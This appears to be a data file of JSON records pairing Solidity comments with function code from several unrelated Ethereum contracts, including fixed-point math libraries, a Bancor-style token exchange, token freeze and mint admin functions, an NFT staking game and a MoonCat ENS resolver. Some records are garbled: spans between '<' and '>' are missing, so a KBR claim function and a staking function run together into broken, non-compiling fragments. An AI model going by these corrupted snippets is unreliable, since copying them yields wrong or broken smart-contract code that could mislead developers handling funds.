approximation\r\n for `ln(2)`. This one is used since it\u2019s the max accuracy \r\n of Python `ln(2)`\r\n\r\n 0xb17217f7d1cf78 = ln(2) * (1 << 56)\r\n \r\n */\r\n //Cannot represent negative numbers (below 1)\r\n assert(_x >= FIXED_ONE);\r\n\r\n uint256 log2 = fixedLog2(_x);\r\n logE = (log2 * 0xb17217f7d1cf78) >> 56;\r\n }", "version": "0.4.13"} {"comment": "/**\r\n Returns log2(x >> 32) << 32 [1]\r\n So x is assumed to be already upshifted 32 bits, and \r\n the result is also upshifted 32 bits. \r\n \r\n [1] The function returns a number which is lower than the \r\n actual value\r\n \r\n input-range : \r\n [0x100000000,uint256_max]\r\n output-range: \r\n [0,0xdfffffffff]\r\n \r\n This method asserts outside of bounds\r\n \r\n */", "function_code": "function fixedLog2(uint256 _x) internal returns (uint256) {\r\n // Numbers below 1 are negative. \r\n assert( _x >= FIXED_ONE);\r\n\r\n uint256 hi = 0;\r\n while (_x >= FIXED_TWO) {\r\n _x >>= 1;\r\n hi += FIXED_ONE;\r\n }\r\n\r\n for (uint8 i = 0; i < PRECISION; ++i) {\r\n _x = (_x * _x) / FIXED_ONE;\r\n if (_x >= FIXED_TWO) {\r\n _x >>= 1;\r\n hi += uint256(1) << (PRECISION - 1 - i);\r\n }\r\n }\r\n\r\n return hi;\r\n }", "version": "0.4.13"} {"comment": "// @return Estimated Liquidation Cap\n// @dev Liquidation Cap per transaction is used to ensure proper price discovery for Wolk Exchange ", "function_code": "function EstLiquidationCap() public constant returns (uint256) {\r\n if (saleCompleted){\r\n var liquidationMax = safeDiv(safeMul(totalTokens, maxPerExchangeBP), 10000);\r\n if (liquidationMax < 100 * 10**decimals){ \r\n liquidationMax = 100 * 10**decimals;\r\n }\r\n return liquidationMax; \r\n }else{\r\n return 0;\r\n }\r\n }", "version": "0.4.13"} {"comment": "// @param _wolkAmount\n// @return ethReceivable\n// @dev send Wolk into contract in exchange for eth, at an exchange rate based on the Bancor Protocol derivation and decrease totalSupply accordingly", "function_code": "function sellWolk(uint256 _wolkAmount) isTransferable() external returns(uint256) {\r\n uint256 sellCap = EstLiquidationCap();\r\n uint256 ethReceivable = calculateSaleReturn(totalTokens, reserveBalance, percentageETHReserve, _wolkAmount);\r\n require( (sellCap >= _wolkAmount) && (balances[msg.sender] >= _wolkAmount) && (this.balance > ethReceivable) );\r\n balances[msg.sender] = safeSub(balances[msg.sender], _wolkAmount);\r\n totalTokens = safeSub(totalTokens, _wolkAmount);\r\n reserveBalance = safeSub(this.balance, ethReceivable);\r\n WolkDestroyed(msg.sender, _wolkAmount);\r\n msg.sender.transfer(ethReceivable);\r\n return ethReceivable; \r\n }", "version": "0.4.13"} {"comment": "// @param _exactWolk\n// @return ethRefundable\n// @dev send eth into contract in exchange for exact amount of Wolk tokens with margin of error of no more than 1 Wolk. \n// @note Purchase with the insufficient eth will be cancelled and returned; exceeding eth balanance from purchase, if any, will be returned. ", "function_code": "function purchaseExactWolk(uint256 _exactWolk) isTransferable() payable external returns(uint256){\r\n uint256 wolkReceivable = calculatePurchaseReturn(totalTokens, reserveBalance, percentageETHReserve, msg.value);\r\n if (wolkReceivable < _exactWolk){\r\n // Cancel Insufficient Purchase\r\n revert();\r\n return msg.value;\r\n }else {\r\n var wolkDiff = safeSub(wolkReceivable, _exactWolk);\r\n uint256 ethRefundable = 0;\r\n // Refund if wolkDiff exceeds 1 Wolk\r\n if (wolkDiff < 10**decimals){\r\n // Credit Buyer Full amount if within margin of error\r\n totalTokens = safeAdd(totalTokens, wolkReceivable);\r\n balances[msg.sender] = safeAdd(balances[msg.sender], wolkReceivable);\r\n reserveBalance = safeAdd(reserveBalance, msg.value);\r\n WolkCreated(msg.sender, wolkReceivable);\r\n return 0; \r\n }else{\r\n ethRefundable = calculateSaleReturn( safeAdd(totalTokens, wolkReceivable) , safeAdd(reserveBalance, msg.value), percentageETHReserve, wolkDiff);\r\n totalTokens = safeAdd(totalTokens, _exactWolk);\r\n balances[msg.sender] = safeAdd(balances[msg.sender], _exactWolk);\r\n reserveBalance = safeAdd(reserveBalance, safeSub(msg.value, ethRefundable));\r\n WolkCreated(msg.sender, _exactWolk);\r\n msg.sender.transfer(ethRefundable);\r\n return ethRefundable;\r\n }\r\n }\r\n }", "version": "0.4.13"} {"comment": "/**\n * @notice Transfers amount of _tokenId from-to addresses with safety call.\n * If _to is a smart contract, will call onERC1155Received\n * @dev ERC-1155\n * @param _from Source address\n * @param _to Destination address\n * @param _tokenId ID of the token\n * @param _value Transfer amount\n * @param _data Additional data forwarded to onERC1155Received if _to is a contract\n */", "function_code": "function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n uint256 _value,\n bytes calldata _data\n )\n public\n override (ERC1155, IERC1155)\n {\n require(balanceOf(_from, _tokenId) == _value, \"IQ\"); //invalid qty\n super.safeTransferFrom(_from, _to, _tokenId, _value, _data);\n ICashier(cashierAddress).onVoucherSetTransfer(\n _from,\n _to,\n _tokenId,\n _value\n );\n }", "version": "0.7.6"} {"comment": "// buyer claim KBR token\n// made after KBR released", "function_code": "function claim() public {\r\n uint256 total;\r\n for(uint256 i=0; i= _value);\r\n \r\n balances[_to] = balances[_to].sub(_value);\r\n frozen[_to] = frozen[_to].add(_value);\r\n \r\n emit Transfer(_to, 0x0, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Thaw the frozen tokens at the designated address. Thaw them all. Set the amount of thawing by yourself.\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amount of tokens to be transferred\r\n */", "function_code": "function Release(address _to, uint256 _value) public returns\r\n (bool) {\r\n require(msg.sender == holder_);\r\n require(_to != address(0));\r\n require(frozen[_to] >= _value);\r\n balances[_to] = balances[_to].add(_value);\r\n frozen[_to] = frozen[_to].sub(_value);\r\n emit Transfer(0x0, _to, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Additional tokens issued to designated addresses represent an increase in the total number of tokens\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amount of tokens to be transferred\r\n */", "function_code": "function Additional(address _to, uint256 _value) public returns\r\n (bool) {\r\n require(msg.sender == holder_);\r\n require(_to != address(0));\r\n\r\n /**\r\n * Total plus additional issuance \r\n */\r\n totalSupply_ = totalSupply_.add(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(0x0, _to, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Destroy tokens at specified addresses to reduce the total\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the amount of tokens to be transferred\r\n */", "function_code": "function Destruction(address _to, uint256 _value) public returns\r\n (bool) {\r\n require(msg.sender == holder_);\r\n require(_to != address(0));\r\n require(balances[_to] >= _value); \r\n /**\r\n * Total amount minus destruction amount\r\n */\r\n totalSupply_ = totalSupply_.sub(_value);\r\n balances[_to] = balances[_to].sub(_value);\r\n emit Transfer(_to,0x0, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/// @dev Stake token", "function_code": "function stakeToPond(uint[] calldata tokenIds) external noCheaters nonReentrant whenNotPaused {\r\n for (uint i=0;i typeShift) {\r\n stakedSnakeToRewardPaid[tokenId]=snakeReward;\r\n stakedIndex=snakesStaked.length;\r\n snakesStaked.push(tokenId);\r\n } else {\r\n stakedIndex = frogsStaked.length;\r\n frogsStaked.push(tokenId);\r\n }\r\n stakedIdsToIndicies[tokenId]=[stakerToIdsIndex, stakedIndex];\r\n frogGameContract.transferFrom(msg.sender, address(this), tokenId); \r\n }\r\n }", "version": "0.8.0"} {"comment": "/// @dev Return the amount that can be claimed by specific token", "function_code": "function claimableById(uint tokenId) public view noSameBlockAsAction returns (uint) {\r\n uint reward;\r\n if (stakedIdToStaker[tokenId]==nullAddress) {return 0;}\r\n if (tokenId>typeShift) { \r\n reward=snakeReward-stakedSnakeToRewardPaid[tokenId];\r\n }\r\n else {\r\n uint pre_reward = (block.timestamp-stakedIdToLastClaimTimestamp[tokenId])*(tadpolePerDay/86400);\r\n reward = _tadpoleClaimed + pre_reward > tadpoleMax?tadpoleMax-_tadpoleClaimed:pre_reward;\r\n }\r\n return reward;\r\n }", "version": "0.8.0"} {"comment": "/// @dev Utility function for FrogGame contract", "function_code": "function getRandomSnakeOwner() external returns(address) {\r\n require(msg.sender==address(frogGameContract), \"can be called from the game contract only\");\r\n if (snakesStaked.length>0) {\r\n uint random = _randomize(_rand(), \"snakeOwner\", randomNounce++) % snakesStaked.length; \r\n return stakedIdToStaker[snakesStaked[random]];\r\n } else return nullAddress;\r\n }", "version": "0.8.0"} {"comment": "/// @notice Calculates arithmetic average of x and y, rounding down.\n/// @param x The first operand as an unsigned 60.18-decimal fixed-point number.\n/// @param y The second operand as an unsigned 60.18-decimal fixed-point number.\n/// @return result The arithmetic average as an unsigned 60.18-decimal fixed-point number.", "function_code": "function avg(uint256 x, uint256 y) internal pure returns (uint256 result) {\n // The operations can never overflow.\n unchecked {\n // The last operand checks if both x and y are odd and if that is the case, we add 1 to the result. We need\n // to do this because if both numbers are odd, the 0.5 remainder gets truncated twice.\n result = (x >> 1) + (y >> 1) + (x & y & 1);\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Yields the least unsigned 60.18 decimal fixed-point number greater than or equal to x.\n///\n/// @dev Optimised for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts.\n/// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions.\n///\n/// Requirements:\n/// - x must be less than or equal to MAX_WHOLE_UD60x18.\n///\n/// @param x The unsigned 60.18-decimal fixed-point number to ceil.\n/// @param result The least integer greater than or equal to x, as an unsigned 60.18-decimal fixed-point number.", "function_code": "function ceil(uint256 x) internal pure returns (uint256 result) {\n if (x > MAX_WHOLE_UD60x18) {\n revert PRBMathUD60x18__CeilOverflow(x);\n }\n assembly {\n // Equivalent to \"x % SCALE\" but faster.\n let remainder := mod(x, SCALE)\n\n // Equivalent to \"SCALE - remainder\" but faster.\n let delta := sub(SCALE, remainder)\n\n // Equivalent to \"x + delta * (remainder > 0 ? 1 : 0)\" but faster.\n result := add(x, mul(delta, gt(remainder, 0)))\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Calculates the natural exponent of x.\n///\n/// @dev Based on the insight that e^x = 2^(x * log2(e)).\n///\n/// Requirements:\n/// - All from \"log2\".\n/// - x must be less than 133.084258667509499441.\n///\n/// @param x The exponent as an unsigned 60.18-decimal fixed-point number.\n/// @return result The result as an unsigned 60.18-decimal fixed-point number.", "function_code": "function exp(uint256 x) internal pure returns (uint256 result) {\n // Without this check, the value passed to \"exp2\" would be greater than 192.\n if (x >= 133084258667509499441) {\n revert PRBMathUD60x18__ExpInputTooBig(x);\n }\n\n // Do the fixed-point multiplication inline to save gas.\n unchecked {\n uint256 doubleScaleProduct = x * LOG2_E;\n result = exp2((doubleScaleProduct + HALF_SCALE) / SCALE);\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Calculates the binary exponent of x using the binary fraction method.\n///\n/// @dev See https://ethereum.stackexchange.com/q/79903/24693.\n///\n/// Requirements:\n/// - x must be 192 or less.\n/// - The result must fit within MAX_UD60x18.\n///\n/// @param x The exponent as an unsigned 60.18-decimal fixed-point number.\n/// @return result The result as an unsigned 60.18-decimal fixed-point number.", "function_code": "function exp2(uint256 x) internal pure returns (uint256 result) {\n // 2^192 doesn't fit within the 192.64-bit format used internally in this function.\n if (x >= 192e18) {\n revert PRBMathUD60x18__Exp2InputTooBig(x);\n }\n\n unchecked {\n // Convert x to the 192.64-bit fixed-point format.\n uint256 x192x64 = (x << 64) / SCALE;\n\n // Pass x to the PRBMath.exp2 function, which uses the 192.64-bit fixed-point number representation.\n result = PRBMath.exp2(x192x64);\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Yields the greatest unsigned 60.18 decimal fixed-point number less than or equal to x.\n/// @dev Optimised for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts.\n/// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions.\n/// @param x The unsigned 60.18-decimal fixed-point number to floor.\n/// @param result The greatest integer less than or equal to x, as an unsigned 60.18-decimal fixed-point number.", "function_code": "function floor(uint256 x) internal pure returns (uint256 result) {\n assembly {\n // Equivalent to \"x % SCALE\" but faster.\n let remainder := mod(x, SCALE)\n\n // Equivalent to \"x - remainder * (remainder > 0 ? 1 : 0)\" but faster.\n result := sub(x, mul(remainder, gt(remainder, 0)))\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Calculates geometric mean of x and y, i.e. sqrt(x * y), rounding down.\n///\n/// @dev Requirements:\n/// - x * y must fit within MAX_UD60x18, lest it overflows.\n///\n/// @param x The first operand as an unsigned 60.18-decimal fixed-point number.\n/// @param y The second operand as an unsigned 60.18-decimal fixed-point number.\n/// @return result The result as an unsigned 60.18-decimal fixed-point number.", "function_code": "function gm(uint256 x, uint256 y) internal pure returns (uint256 result) {\n if (x == 0) {\n return 0;\n }\n\n unchecked {\n // Checking for overflow this way is faster than letting Solidity do it.\n uint256 xy = x * y;\n if (xy / x != y) {\n revert PRBMathUD60x18__GmOverflow(x, y);\n }\n\n // We don't need to multiply by the SCALE here because the x*y product had already picked up a factor of SCALE\n // during multiplication. See the comments within the \"sqrt\" function.\n result = PRBMath.sqrt(xy);\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Calculates the natural logarithm of x.\n///\n/// @dev Based on the insight that ln(x) = log2(x) / log2(e).\n///\n/// Requirements:\n/// - All from \"log2\".\n///\n/// Caveats:\n/// - All from \"log2\".\n/// - This doesn't return exactly 1 for 2.718281828459045235, for that we would need more fine-grained precision.\n///\n/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the natural logarithm.\n/// @return result The natural logarithm as an unsigned 60.18-decimal fixed-point number.", "function_code": "function ln(uint256 x) internal pure returns (uint256 result) {\n // Do the fixed-point multiplication inline to save gas. This is overflow-safe because the maximum value that log2(x)\n // can return is 196205294292027477728.\n unchecked {\n result = (log2(x) * SCALE) / LOG2_E;\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Raises x to the power of y.\n///\n/// @dev Based on the insight that x^y = 2^(log2(x) * y).\n///\n/// Requirements:\n/// - All from \"exp2\", \"log2\" and \"mul\".\n///\n/// Caveats:\n/// - All from \"exp2\", \"log2\" and \"mul\".\n/// - Assumes 0^0 is 1.\n///\n/// @param x Number to raise to given power y, as an unsigned 60.18-decimal fixed-point number.\n/// @param y Exponent to raise x to, as an unsigned 60.18-decimal fixed-point number.\n/// @return result x raised to power y, as an unsigned 60.18-decimal fixed-point number.", "function_code": "function pow(uint256 x, uint256 y) internal pure returns (uint256 result) {\n if (x == 0) {\n result = y == 0 ? SCALE : uint256(0);\n } else {\n result = exp2(mul(log2(x), y));\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Raises x (unsigned 60.18-decimal fixed-point number) to the power of y (basic unsigned integer) using the\n/// famous algorithm \"exponentiation by squaring\".\n///\n/// @dev See https://en.wikipedia.org/wiki/Exponentiation_by_squaring\n///\n/// Requirements:\n/// - The result must fit within MAX_UD60x18.\n///\n/// Caveats:\n/// - All from \"mul\".\n/// - Assumes 0^0 is 1.\n///\n/// @param x The base as an unsigned 60.18-decimal fixed-point number.\n/// @param y The exponent as an uint256.\n/// @return result The result as an unsigned 60.18-decimal fixed-point number.", "function_code": "function powu(uint256 x, uint256 y) internal pure returns (uint256 result) {\n // Calculate the first iteration of the loop in advance.\n result = y & 1 > 0 ? x : SCALE;\n\n // Equivalent to \"for(y /= 2; y > 0; y /= 2)\" but faster.\n for (y >>= 1; y > 0; y >>= 1) {\n x = PRBMath.mulDivFixedPoint(x, x);\n\n // Equivalent to \"y % 2 == 1\" but faster.\n if (y & 1 > 0) {\n result = PRBMath.mulDivFixedPoint(result, x);\n }\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Calculates the square root of x, rounding down.\n/// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method.\n///\n/// Requirements:\n/// - x must be less than MAX_UD60x18 / SCALE.\n///\n/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the square root.\n/// @return result The result as an unsigned 60.18-decimal fixed-point .", "function_code": "function sqrt(uint256 x) internal pure returns (uint256 result) {\n unchecked {\n if (x > MAX_UD60x18 / SCALE) {\n revert PRBMathUD60x18__SqrtOverflow(x);\n }\n // Multiply x by the SCALE to account for the factor of SCALE that is picked up when multiplying two unsigned\n // 60.18-decimal fixed-point numbers together (in this case, those two numbers are both the square root).\n result = PRBMath.sqrt(x * SCALE);\n }\n }", "version": "0.8.4"} {"comment": "/// @param extraArgs expecting <[20B] address pool1><[20B] address pool2><[20B] address pool3>...", "function_code": "function parseExtraArgs(uint256 poolLength, bytes calldata extraArgs)\n internal\n pure\n returns (address[] memory pools)\n {\n pools = new address[](poolLength);\n for (uint256 i = 0; i < poolLength; i++) {\n pools[i] = extraArgs.toAddress(i * 20);\n }\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev ERC165 support for ENS resolver interface\r\n * https://docs.ens.domains/contract-developer-guide/writing-a-resolver\r\n */", "function_code": "function supportsInterface(bytes4 interfaceID) public pure returns (bool) {\r\n return interfaceID == 0x01ffc9a7 // supportsInterface call itself\r\n || interfaceID == 0x3b3b57de // EIP137: ENS resolver\r\n || interfaceID == 0xf1cb7e06 // EIP2304: Multichain addresses\r\n || interfaceID == 0x59d1d43c // EIP634: ENS text records\r\n || interfaceID == 0xbc1c58d1 // EIP1577: contenthash\r\n ;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev For a given ENS Node ID, return the Ethereum address it points to.\r\n * EIP137 core functionality\r\n */", "function_code": "function addr(bytes32 nodeID) public view returns (address) {\r\n uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);\r\n address actualOwner = MCA.ownerOf(rescueOrder);\r\n if (\r\n MCR.catOwners(MCR.rescueOrder(rescueOrder)) != address(MCA) ||\r\n actualOwner != lastAnnouncedAddress[rescueOrder]\r\n ) {\r\n return address(0); // Not Acclimated/Announced; return zero (per spec)\r\n } else {\r\n return lastAnnouncedAddress[rescueOrder];\r\n }\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev For a given ENS Node ID, return an address on a different blockchain it points to.\r\n * EIP2304 functionality\r\n */", "function_code": "function addr(bytes32 nodeID, uint256 coinType) public view returns (bytes memory) {\r\n uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);\r\n if (MCR.catOwners(MCR.rescueOrder(rescueOrder)) != address(MCA)) {\r\n return bytes(''); // Not Acclimated; return zero (per spec)\r\n }\r\n if (coinType == 60) {\r\n // Ethereum address\r\n return abi.encodePacked(addr(nodeID));\r\n } else {\r\n return MultichainMapping[rescueOrder][coinType];\r\n }\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev For a given MoonCat rescue order, set the subdomains associated with it to point to an address on a different blockchain.\r\n */", "function_code": "function setAddr(uint256 rescueOrder, uint256 coinType, bytes calldata newAddr) public onlyMoonCatOwner(rescueOrder) {\r\n if (coinType == 60) {\r\n // Ethereum address\r\n announceMoonCat(rescueOrder);\r\n return;\r\n }\r\n emit AddressChanged(getSubdomainNameHash(uint2str(rescueOrder)), coinType, newAddr);\r\n emit AddressChanged(getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder))), coinType, newAddr);\r\n MultichainMapping[rescueOrder][coinType] = newAddr;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev For a given ENS Node ID, return the value associated with a given text key.\r\n * If the key is \"avatar\", and the matching value is not explicitly set, a url pointing to the MoonCat's image is returned\r\n * EIP634 functionality\r\n */", "function_code": "function text(bytes32 nodeID, string calldata key) public view returns (string memory) {\r\n uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);\r\n\r\n string memory value = TextKeyMapping[rescueOrder][key];\r\n if (bytes(value).length > 0) {\r\n // This value has been set explicitly; return that\r\n return value;\r\n }\r\n\r\n // Check if there's a default value for this key\r\n bytes memory keyBytes = bytes(key);\r\n if (keyBytes.length == avatarKeyLength && keccak256(keyBytes) == avatarKeyHash){\r\n // Avatar default\r\n return string(abi.encodePacked(avatarBaseURI, uint2str(rescueOrder)));\r\n }\r\n\r\n // No default; just return the empty string\r\n return value;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Update a text record for subdomains owned by a specific MoonCat rescue order.\r\n */", "function_code": "function setText(uint256 rescueOrder, string calldata key, string calldata value) public onlyMoonCatOwner(rescueOrder) {\r\n bytes memory keyBytes = bytes(key);\r\n bytes32 orderHash = getSubdomainNameHash(uint2str(rescueOrder));\r\n bytes32 hexHash = getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder)));\r\n\r\n if (bytes(value).length == 0 && keyBytes.length == avatarKeyLength && keccak256(keyBytes) == avatarKeyHash){\r\n // Avatar default\r\n string memory avatarRecordValue = string(abi.encodePacked(avatarBaseURI, uint2str(rescueOrder)));\r\n emit TextChanged(orderHash, key, avatarRecordValue);\r\n emit TextChanged(hexHash, key, avatarRecordValue);\r\n } else {\r\n emit TextChanged(orderHash, key, value);\r\n emit TextChanged(hexHash, key, value);\r\n }\r\n TextKeyMapping[rescueOrder][key] = value;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Allow calling multiple functions on this contract in one transaction.\r\n */", "function_code": "function multicall(bytes[] calldata data) external returns(bytes[] memory results) {\r\n results = new bytes[](data.length);\r\n for (uint i = 0; i < data.length; i++) {\r\n (bool success, bytes memory result) = address(this).delegatecall(data[i]);\r\n require(success);\r\n results[i] = result;\r\n }\r\n return results;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Reverse lookup for ENS Node ID, to determine the MoonCat rescue order of the MoonCat associated with it.\r\n */", "function_code": "function getRescueOrderFromNodeId(bytes32 nodeID) public view returns (uint256) {\r\n uint256 rescueOrder = NamehashMapping[nodeID];\r\n if (rescueOrder == 0) {\r\n // Are we actually dealing with MoonCat #0?\r\n require(\r\n nodeID == 0x8bde039a2a7841d31e0561fad9d5cfdfd4394902507c72856cf5950eaf9e7d5a // 0.ismymooncat.eth\r\n || nodeID == 0x1002474938c26fb23080c33c3db026c584b30ec6e7d3edf4717f3e01e627da26, // 0x00d658d50b.ismymooncat.eth\r\n \"Unknown Node ID\"\r\n );\r\n }\r\n return rescueOrder;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Cache a single MoonCat's (identified by Rescue Order) subdomain hashes.\r\n */", "function_code": "function mapMoonCat(uint256 rescueOrder) public {\r\n string memory orderSubdomain = uint2str(rescueOrder);\r\n string memory hexSubdomain = bytes5ToHexString(MCR.rescueOrder(rescueOrder));\r\n\r\n bytes32 orderHash = getSubdomainNameHash(orderSubdomain);\r\n bytes32 hexHash = getSubdomainNameHash(hexSubdomain);\r\n\r\n if (uint256(NamehashMapping[orderHash]) != 0) {\r\n // Already Mapped\r\n return;\r\n }\r\n\r\n NamehashMapping[orderHash] = rescueOrder;\r\n NamehashMapping[hexHash] = rescueOrder;\r\n\r\n if(MCR.catOwners(MCR.rescueOrder(rescueOrder)) != address(MCA)) {\r\n // MoonCat is not Acclimated\r\n return;\r\n }\r\n\r\n IRegistry registry = IRegistry(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);\r\n registry.setSubnodeRecord(rootHash, keccak256(bytes(orderSubdomain)), address(this), address(this), defaultTTL);\r\n registry.setSubnodeRecord(rootHash, keccak256(bytes(hexSubdomain)), address(this), address(this), defaultTTL);\r\n\r\n address moonCatOwner = MCA.ownerOf(rescueOrder);\r\n lastAnnouncedAddress[rescueOrder] = moonCatOwner;\r\n emit AddrChanged(orderHash, moonCatOwner);\r\n emit AddrChanged(hexHash, moonCatOwner);\r\n emit AddressChanged(orderHash, 60, abi.encodePacked(moonCatOwner));\r\n emit AddressChanged(hexHash, 60, abi.encodePacked(moonCatOwner));\r\n\r\n string memory avatarRecordValue = string(abi.encodePacked(avatarBaseURI, uint2str(rescueOrder)));\r\n emit TextChanged(orderHash, \"avatar\", avatarRecordValue);\r\n emit TextChanged(hexHash, \"avatar\", avatarRecordValue);\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Helper function to reduce pixel size within contract\r\n */", "function_code": "function letterToNumber(string memory _inputLetter, string[] memory LETTERS)\r\n public\r\n pure\r\n returns (uint8)\r\n {\r\n for (uint8 i = 0; i < LETTERS.length; i++) {\r\n if (\r\n keccak256(abi.encodePacked((LETTERS[i]))) ==\r\n keccak256(abi.encodePacked((_inputLetter)))\r\n ) return (i + 1);\r\n }\r\n revert();\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Announce a single MoonCat's (identified by Rescue Order) assigned address.\r\n */", "function_code": "function announceMoonCat(uint256 rescueOrder) public {\r\n require(MCR.catOwners(MCR.rescueOrder(rescueOrder)) == address(MCA), \"Not Acclimated\");\r\n address moonCatOwner = MCA.ownerOf(rescueOrder);\r\n\r\n lastAnnouncedAddress[rescueOrder] = moonCatOwner;\r\n bytes32 orderHash = getSubdomainNameHash(uint2str(rescueOrder));\r\n bytes32 hexHash = getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder)));\r\n\r\n emit AddrChanged(orderHash, moonCatOwner);\r\n emit AddrChanged(hexHash, moonCatOwner);\r\n emit AddressChanged(orderHash, 60, abi.encodePacked(moonCatOwner));\r\n emit AddressChanged(hexHash, 60, abi.encodePacked(moonCatOwner));\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Convenience function to iterate through all MoonCats owned by an address to check if they need announcing.\r\n */", "function_code": "function needsAnnouncing(address moonCatOwner) public view returns (uint256[] memory) {\r\n uint256 balance = MCA.balanceOf(moonCatOwner);\r\n uint256 announceCount = 0;\r\n uint256[] memory tempRescueOrders = new uint256[](balance);\r\n for (uint256 i = 0; i < balance; i++) {\r\n uint256 rescueOrder = MCA.tokenOfOwnerByIndex(moonCatOwner, i);\r\n if (lastAnnouncedAddress[rescueOrder] != moonCatOwner){\r\n tempRescueOrders[announceCount] = rescueOrder;\r\n announceCount++;\r\n }\r\n }\r\n uint256[] memory rescueOrders = new uint256[](announceCount);\r\n for (uint256 i = 0; i < announceCount; i++){\r\n rescueOrders[i] = tempRescueOrders[i];\r\n }\r\n return rescueOrders;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Set a manual list of MoonCats (identified by Rescue Order) to announce or cache their subdomain hashes.\r\n */", "function_code": "function mapMoonCats(uint256[] memory rescueOrders) public {\r\n for (uint256 i = 0; i < rescueOrders.length; i++) {\r\n address lastAnnounced = lastAnnouncedAddress[rescueOrders[i]];\r\n if (lastAnnounced == address(0)){\r\n mapMoonCat(rescueOrders[i]);\r\n } else if (lastAnnounced != MCA.ownerOf(rescueOrders[i])){\r\n announceMoonCat(rescueOrders[i]);\r\n }\r\n }\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Convenience function to iterate through all MoonCats owned by an address and announce or cache their subdomain hashes.\r\n */", "function_code": "function mapMoonCats(address moonCatOwner) public {\r\n for (uint256 i = 0; i < MCA.balanceOf(moonCatOwner); i++) {\r\n uint256 rescueOrder = MCA.tokenOfOwnerByIndex(moonCatOwner, i);\r\n address lastAnnounced = lastAnnouncedAddress[rescueOrder];\r\n if (lastAnnounced == address(0)){\r\n mapMoonCat(rescueOrder);\r\n } else if (lastAnnounced != moonCatOwner){\r\n announceMoonCat(rescueOrder);\r\n }\r\n }\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Utility function to convert a uint256 variable into a decimal string.\r\n */", "function_code": "function uint2str(uint value) internal pure returns (string memory) {\r\n if (value == 0) {\r\n return \"0\";\r\n }\r\n uint256 temp = value;\r\n uint256 digits;\r\n while (temp != 0) {\r\n digits++;\r\n temp /= 10;\r\n }\r\n bytes memory buffer = new bytes(digits);\r\n while (value != 0) {\r\n digits -= 1;\r\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r\n value /= 10;\r\n }\r\n return string(buffer);\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Mint internal, this is to avoid code duplication.\r\n */", "function_code": "function mintInternal(address _account, string memory _hash) internal {\r\n uint256 rand = _rand();\r\n\r\n uint256 _totalSupply = totalSupply(); \r\n \r\n uint256 thisTokenId = _totalSupply;\r\n\r\n tokenIdToHash[thisTokenId] = _hash;\r\n\r\n hashToMinted[tokenIdToHash[thisTokenId]] = true;\r\n\r\n // QUESTS \r\n\r\n (uint8 health,uint8 accuracy,uint8 defense) = (0,0,0);\r\n \r\n {\r\n\r\n // Helpers to get Percentages\r\n uint256 eightyPct = type(uint16).max / 100 * 80;\r\n uint256 nineFivePct = type(uint16).max / 100 * 95;\r\n\r\n // Getting Random traits\r\n uint16 randHelm = uint16(_randomize(rand, \"HEALTH\", thisTokenId));\r\n health = uint8(randHelm < eightyPct ? 0 : randHelm % 4 + 5);\r\n\r\n uint16 randOffhand = uint16(_randomize(rand, \"ACCURACY\", thisTokenId));\r\n defense = uint8(randOffhand < eightyPct ? 0 : randOffhand % 4 + 5);\r\n\r\n uint16 randMainhand = uint16(_randomize(rand, \"DEFENSE\", thisTokenId));\r\n accuracy = uint8(randMainhand < nineFivePct ? randMainhand % 4 + 1: randMainhand % 4 + 5);\r\n }\r\n\r\n _mint(_account, thisTokenId);\r\n\r\n uint16 meowModifier = ZombieCatsLibrary._tier(health) + ZombieCatsLibrary._tier(accuracy) + ZombieCatsLibrary._tier(defense);\r\n zombiekatz[uint256(thisTokenId)] = ZombieKat({health: health, accuracy: accuracy, defense: defense, level: 0, lvlProgress: 0, meowModifier:meowModifier});\r\n }", "version": 